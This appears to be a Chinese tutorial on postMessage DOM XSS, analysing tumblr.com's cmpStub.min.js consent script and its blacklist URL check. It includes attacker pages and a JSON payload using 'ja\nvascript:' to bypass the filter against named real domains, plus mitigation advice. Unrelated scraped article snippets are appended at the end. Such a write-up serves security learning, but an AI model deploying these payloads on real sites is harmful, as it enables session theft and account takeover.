【网络安全】PostMessage:分析JS实现XSS

未经许可,不得转载。

文章目录

    • 前言
    • 示例
    • 正文

前言

PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器。通常情况下,它用于实现跨文档消息传递(Cross-Document Messaging),这在一些复杂的网页应用和浏览器插件中非常有用。

示例

在深入学习本文前,通过父子窗口间的消息传递示例代码+浏览器回显带领读者了解必要的知识。

1、send.html通过 postMessage 函数向receive.html发送消息:

<!--send.html-->
<!DOCTYPE html>
<html>
<head><title>发送界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { content: "玲珑安全漏洞挖掘培训vx: bc52013" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

在这里插入图片描述

2、receive.html通过监听 message 事件来输出收到的消息:

<!--receive.html-->
<!DOCTYPE html>
<html>
<head><title>接收界面</title><meta charset="utf-8" /><script>//添加事件监控消息window.addEventListener("message", (event) => {let txt = document.getElementById("msg");//接收传输过来的变量数据txt.value = `接收到的消息为:${event.data.content}`;});</script>
</head>
<body><h1>接收界面(子窗口)</h1><input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>

在这里插入图片描述

3、在send.html点击打开子窗口后弹出子窗口:

在这里插入图片描述

4、点击发送消息后,接收界面收到并且打印消息内容**“玲珑安全漏洞挖掘培训vx: bc52013”**

在这里插入图片描述

如上,通过PostMessage实现了父子窗口间的消息传递。

然而,若代码书写不规范将导致安全问题。

1、数据伪造

由于receive.html没有设置信任源,因此任意页面都可向该页面发送数据,导致数据伪造。

<!--数据伪造.html-->
<!DOCTYPE html>
<html>
<head><title>数据伪造界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { content: "ICE" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

如图,接收方本应接收到的消息为:

在这里插入图片描述

而在数据伪造界面打开子窗口并发送消息后,接收界面接收到伪造数据:

在这里插入图片描述

2、XSS

当发送参数可控且接收方处理不当时,将导致DOM XSS

例如,受害方接收一个可控的URL参数:

<!--受害方.html-->
<!DOCTYPE html>
<html>
<head><title>受害方界面</title><meta charset="utf-8" /><script>//添加事件监控消息window.addEventListener("message", (event) => {location.href=`${event.data.url}`;});</script>
</head>
<body><h1>受害方界面(子窗口)</h1>
</body>
</html>

于是可以构造恶意请求,实现XSS:

<!--攻击方实现XSS.html-->
<!DOCTYPE html>
<html>
<head><title>攻击方实现XSS界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('受害方.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { url:"javascript:alert('玲珑安全漏洞挖掘培训')" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

在攻击方界面打开子窗口:

在这里插入图片描述

点击发送消息后,受害方执行JS代码:

在这里插入图片描述

在这里插入图片描述

同时,当页面中不包含X-Frame-Options标头时,还可利用 <iframe>标签嵌套受害方页面并传递可控参数,以执行JS代码:

<!-- 攻击方: hacker.html -->
<!DOCTYPE html>
<html>
<head><title>XSS-iframe</title>
</head><body><iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body><script type="text/javascript">var iframe = window.frames.attack;function xss() {let msg = {url: "javascript:alert(document.domain)"};iframe.postMessage(msg, '*');}
</script>
</html>

在这里插入图片描述

攻击效果如图:

在这里插入图片描述

漏洞危害如下:

(i)窃取用户敏感数据(个人数据、消息等)

(ii)窃取 CSRF 令牌并以用户的名义执行恶意操作

(iii)窃取账户凭证并接管用户账户

修复缓解方案

1、发送方应验证目标源,确保消息只能被预期的接收方处理:

在这里插入图片描述

接收方应使用指定的信任域:

在这里插入图片描述

此时,点击发送消息后,受害方界面不再执行弹窗,因为攻击方指定的目标源是https协议,而受害方仅指定http://127.0.0.1为信任源:

在这里插入图片描述

当攻击方页面指定127.0.0.1的http协议时,由于攻击方页面与受害者页面均在该服务器上,因此能够实现XSS:

在这里插入图片描述

在这里插入图片描述

正文

进入tumblr.com,在cmpStub.min.js文件中存在如下函数,其不检查 postMessage 的来源:

!function() {var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")//不检查来源,为后续测试提供可能性})}}

主要含义:接收并解析 JSON 数据 (e.data),将其转换为 JavaScript 对象 (n);执行 __cmpCall 中指定的命令和参数,并将执行结果封装成返回对象 a;最后通过 postMessage 方法将处理结果发送回消息来源。

跟进__cmp() 函数,看看应用程序对数据进行了何种处理:

     if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

可以看出,c.a.isSafeUrl(p.uiUrl))为真才将继续执行。

跟进isSafeUrl函数:

isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")},

若p.uiUrl(即e)中存在javascript,则返回假。

所以这里是为了防止JS代码执行,而通常使用黑名单的防护方式是容易被绕过的。

那么传入的p.uiUrl参数后续会经过什么处理呢?

在上面的代码中,还存在该行代码:

e ? l.a.initializationComplete() : b(l.a.initializationComplete)

跟进b()函数:

b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})

再跟进关键的renderConsents() 函数:

         renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),

可以看到该函数将创建iframe元素,而该元素的src属性就是我们可控的p.uiUrl。

综上所述,整体流程如下:

传入的数据进入cmp()函数处理 -> 处理时执行issafeurl函数判断数据是否合法 -> 若合法,则执行renderConsents()函数,构造iframe

知悉参数从传递到处理的流程后,就可以构造Payload了。

现在的目的是绕过isSafeUrl函数,而恰好,JavaScript 在处理字符串时,会忽略掉换行符、制表符等空白字符(无害脏数据):

在这里插入图片描述

因此,依据__cmp() 函数,以JSON形式构造Payload如下:

{"__cmpCall": {"command": "init","parameter": {"uiUrl": "ja\nvascript:alert(document.domain)","uiCustomParams": "ice","organizationId": "ice","gdprAppliesGlobally": "ice"}}
}

使用iframe嵌套受攻击页面:

<html><body><script>window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");} catch(e) {}}, 100);</script><iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe></body>
</html>

成功实现XSS:

img

以上是页面中不包含X-Frame-Options标头的情况,导致我们能嵌套受攻击页面。

若页面中包含X-Frame-Options 标头,则我们不能嵌套受攻击页面。这种情况下,可通过 window.opener 实现两个浏览器选项卡之间的连接,再发送 postMessage 消息,实现XSS。

在tumblr.com页面存在X-Frame-Options标头,但也含有cmpStub.min.js文件的情况下,攻击代码如下所示:

<html>
<body>
<script>
function e() {window.setTimeout(function() {window.location.href = "https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>

成功实现XSS:

img

参考链接:

https://www.cnblogs.com/piaomiaohongchen/p/18305112

https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3247105.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【线程系列之五】线程池介绍C语言

一、基本概念 1.1 概念 线程池&#xff08;Thread Pool&#xff09;是一种基于池化技术管理线程的机制&#xff0c;旨在减少线程创建和销毁的开销&#xff0c;提高系统资源的利用率&#xff0c;以及更好地控制系统中同时运行的线程数量。线程池通过预先创建一定数量的线程&am…

Qt模型/视图架构——委托(delegate)

一、为什么需要委托 模型&#xff08;model&#xff09;用来数据存储&#xff0c;视图&#xff08;view&#xff09;用来展示数据。因此&#xff0c;模型/视图架构是一种将数据存储和界面展示分离的编程方法。具体如下图所示&#xff1a; 由图可知&#xff0c;模型向视图提供数…

Python | Leetcode Python题解之第238题除自身以外数组的乘积

题目&#xff1a; 题解&#xff1a; class Solution:def productExceptSelf(self, nums: List[int]) -> List[int]:length len(nums)# L 和 R 分别表示左右两侧的乘积列表L, R, answer [0]*length, [0]*length, [0]*length# L[i] 为索引 i 左侧所有元素的乘积# 对于索引为…

一文掌握Prometheus实现页面登录认证并集成grafana

一、接入方式 以保护Web站点的访问控制&#xff0c;如HTTP 服务器配置中实现安全的加密通信和身份验证&#xff0c;保护 Web 应用程序和用户数据的安全性。 1.1 加密密码 通过httpd-tools工具包来进行Web站点加密 yum install -y httpd-tools方式一&#xff1a;通过htpasswd生…

人工智能 (AI) 应用:一个异常肺呼吸声辅助诊断系统

关键词&#xff1a;深度学习、肺癌、多标签、轻量级模型设计、异常肺音、音频分类 近年来&#xff0c;流感对人类的危害不断增加&#xff0c;COVID-19疾病的迅速传播加剧了这一问题&#xff0c;导致大多数患者因呼吸系统异常而死亡。在这次流行病爆发之前&#xff0c;呼吸系统…

【时时三省】(C语言基础)变量

山不在高&#xff0c;有仙则名。水不在深&#xff0c;有龙则灵。 ——csdn时时三省 变量 可以改变的量 比如 int age&#xff1d;20 &#xff08;类型 变量的名字&#xff1d;0&#xff09; 如果后面要改可以直接代入 age&#xff1d;age1 age可以是任何字母 变量的分类…

微信小游戏 彩色试管 倒水游戏 逻辑 (四)

最近开始研究微信小游戏&#xff0c;有兴趣的 可以关注一下 公众号&#xff0c; 记录一些心路历程和源代码。 定义了一个名为 WaterFlow class&#xff0c;该类继承自 cc.Graphics&#xff0c;用于在 Cocos Creator 中创建和显示水流的动画效果。下面是对代码的详细解释&#x…

Qt实现简单的导航进度条——自定义控件

导航进度条通过其动态的视觉效果&#xff0c;‌不仅提供了任务进度的实时反馈&#xff0c;‌还增强了用户体验的流畅性和直观性。‌“进度”的设计方式多种多样&#xff0c;不同种类的运用需要根据具体场景来规划具体的进度方式&#xff0c;一般都要在清楚了解了每个方式的设计…

MySQL数据库慢查询日志、SQL分析、数据库诊断

1 数据库调优维度 业务需求&#xff1a;勇敢地对不合理的需求说不系统架构&#xff1a;做架构设计的时候&#xff0c;应充分考虑业务的实际情况&#xff0c;考虑好数据库的各种选择(读写分离?高可用?实例个数?分库分表?用什么数据库?)SQL及索引&#xff1a;根据需求编写良…

JavaEE--JavaWeb服务器的安装配置(Tomcat服务器安装配置)

前言: 本文介绍了 Java Web 服务器 Tomcat 的安装配置&#xff0c;并详细说明了如何在 IntelliJ IDEA 中配置服务器&#xff0c;创建 JavaEE 项目&#xff0c;并发布文章。文章首先解释了前端程序如何访问后端程序以及 Web 服务器的概念&#xff0c;然后详细介绍了安装 Tomcat…

各地跨境电子商务示范区工具变量DID数据(2010-2022年)

数据来源&#xff1a;参考李震等&#xff08;2023&#xff09;的做法&#xff0c;从官方网站上搜集整理了我国跨境电子商务示范区名单与上市公司进行匹配制作。时间跨度&#xff1a;2010-2022年数据范围&#xff1a;上市企业包含指标&#xff1a; stock year 证券简称 In…

大模型RAG优化方案与实践(非常详细)从入门到精通,看这一篇就够了

RAG通过检索现有的大量知识&#xff0c;结合强大的生成模型&#xff0c;为复杂的问答、文本摘要和生成任务带来了全新的解决方案。本文详细的介绍了RAG遇到的挑战、通用范式、工程实践、优化实现策略等。 一、RAG的背景介绍 随着ChatGPT的兴起&#xff0c;大语言模型再次走进…

伪分布式部署 DolphinScheduler

1.添加用户 useradd dolphinscheduler echo "dolphinscheduler" | passwd --stdin dolphinscheduler sed -i $adolphinscheduler ALL(ALL) NOPASSWD: NOPASSWD: ALL /etc/sudoers sed -i s/Defaults requirett/#Defaults requirett/g /etc/sudoers chown -R …

7.17IO

1. #include <sys/types.h> #include <dirent.h> DIR *opendir(const char *name); 功能描述&#xff1a;打开name文件夹&#xff0c;返回该文件夹的描述符 返回值&#xff1a;成功返回描述符&#xff0c;失败返回NULL opendir()函数打开与目录名对应的目录流…

ssrf复习(及ctfshow351-360)

1. SSRF 概述 服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL&#xff0c;Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。 如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤&#xff0c;就有可能存在“请求伪造"的缺陷…

C++之智能指针:shared_ptr、unique_ptr、weak_ptr的概念、用法即它们之间的关系

智能指针 (1)概述 A.Why&#xff08;C为什么引入智能指针&#xff09; C引入智能指针的根本原因就是解决手动管理动态内存所带来的问题&#xff0c;手动管理动态内存常见的问题如下&#xff1a;内存泄漏、悬挂指针、释放操作未定义等 内存泄漏问题&#xff1a; 当程序用光了它…

国产开源系统openEuler_24.03_LTS部署安装/基础配置/验证连接实操手册

前言&#xff1a; openEuler 是开放原子开源基金会&#xff08;OpenAtom Foundation&#xff09;孵化及运营的开源项目。 欧拉操作系统(openEuler&#xff0c;简称“欧拉”,“开源欧拉”)是面向数字基础设施的操作系统&#xff0c;支持服务器、云计算、边缘计算、嵌入式等应用场…

ctfshow~菜狗杯 你会数数吗

用010Editor打开文件附件 选择工具->直方图 选择记数&#xff0c;从上到下就是flag ctfshow{a1b2d3e4g56i7j8k9l0}

操作系统内核源码杂谈篇:临界区

临界资源&#xff0c;是指同一时刻只能由一个线程&#xff08;linux下为进程&#xff09;访问的资源&#xff0c;而临界区就是为了确保临界资源访问是单一数据流。 临界区的代码执行&#xff0c;也就是进行原子操作&#xff0c;不会被打断。 先分析RTOS的运行架构&#xff0c…

构建自定义bootos

1 构建自定义bootos BootOS (也称 ramos ),是一个基于内存的操作系统,系统启动后全部加载到内存中运行,不依赖磁盘存储设备,因此可以对硬件层级进行一系列的操作。主要分为两部分内核和文件系统。 1.1 构建vmlinuz内核文件 1.1.1 从现有系统获取 从系统iso镜像获…